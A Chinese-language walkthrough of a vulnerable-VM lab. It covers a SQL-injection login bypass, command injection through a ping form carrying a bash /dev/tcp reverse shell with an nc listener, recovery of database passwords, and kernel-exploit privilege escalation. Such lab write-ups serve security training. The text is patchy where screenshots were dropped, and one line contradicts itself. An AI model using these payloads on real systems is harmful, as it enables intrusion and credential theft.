环境搭建
这个靶场环境稍微有点麻烦，首次打开的时候，需要将靶机从VM中移除（注意是 从VM里面移除），然后利用nodpad等工具打开vmx文件，然后两步：
- 所有以“ethernet0”开头的条目并保存更改。
- 然后重新导入虚拟机，并将增加网络设备器，并且其模式为NAT

整个漏洞脚本探测进行结束，没什么具体的发现，主要的探测信息集中在80端口和443端口上，接下来我们主要就是现在这里两个端口上进行突破！
渗透测试
首先看一下首页，吸取上一个靶场的经验，可以同时进行一下nikto的扫描！
大概就是一个登录的界面，看一下源码：
说是让我们以管理员的身份登录刚开始的HTML~（这里就是尝试进行登录，观察是不是回显不同，能否进行爆破？ 是不是存在sql注入？）
先来看一下nikto的扫描结果 主要时发现了几个目录信息！（整体看下来，有的自己也不知道能联系起来什么样的漏洞 先往下看看）
尝试进行了爆破，没什么结果，先后尝试了admin 、administrator、Administrator三个账号！ 均失败~
同样尝试了sql注入，但是也没什么发现~
这里也没跑sqlmap，只是简单的加了单引号进行了测试~ 做一下目录的扫描，然后去看一下上面得到的几个目录里面有什么信息：
web 服务器apache的手册；
目录扫描也没什么其他的信息；又回到了登录的页面，仔细看看登录页面，最终发现万能语句便登陆进去了~
admin' or '1'='1
1
看到这个界面便想到了CTF，经常有这样的题目，利用&&或者||或者分号也闭合掉前面的ping命令！因为他已经给告诉我们了在网络中尝试ping一个主机：
确实执行了我们的代码，显示出来了当前目录下的文件！接下来我们的思路就是利用命令构造反弹shell，回连到我们的攻击机即可！
这里我先去看了一下pingit.php的源码是什么：
直接拼接了语句，因此我们可以尝试在后面直接执行一句话反弹shell的命令
192.168.1.60&&bash -i >& /dev/tcp/192.168.1.60/7777 0>&1
同时本地起一个监听：
nc -lvnp 7777
执行之后成功收到shell。准备提权之路！
提权
查看当前用户：
apache的用户，这个用户权限是很低的。查看一下内核版本信息：
内核版本为2.6.9后面是子版本号！ 版本也是比较低的，暂时不考虑内核提权漏洞！先看看别的，/etc/passwd：
该靶场的用户和这个靶场的前一个版本用户好像是一样的~ 看一下网站的目录下面的文件都存在什么：
还是这两个文件，挨个看看吧~
发现了当时我们在首页进行登录时的查询语句；以及mysql的数据库相关账号密码和数据库名！接下来尝试连接mysql看看数据库里面的东西都有什么！
发现了两个密码，分别时admin和john的密码
5afac8d85f
66lajGGbla
hiroshima #这是我们目前收集的密码信息 可以用来进行密码的碰撞再看看其他的数据库中是否还有敏感信息：
发现在mysql的数据库中存储了本地的用户信息：
5a6914ba69e02807目前我们已经时拿到了比较多的密码信息，尝试解密，切换账户；
还是这个密码。接下来去试试能否成功的切换到root账号！结果时很尴尬的，没能成功的切换到root
尝试切换john用户成功了！（全部都失败了）我还以为怎么着都能成功登陆一个用户吧~ 结果一个都没成功！
最终又回到了内核提权，找了两个内核漏洞进行尝试：
9542成功提权
总结
整个靶场通过80端口上的登陆界面，利用sql注入成功登陆到了系统中，发现可以执行系统命令，利用管道符进而执行我们的反弹shell。后利用内核漏洞进行提权。
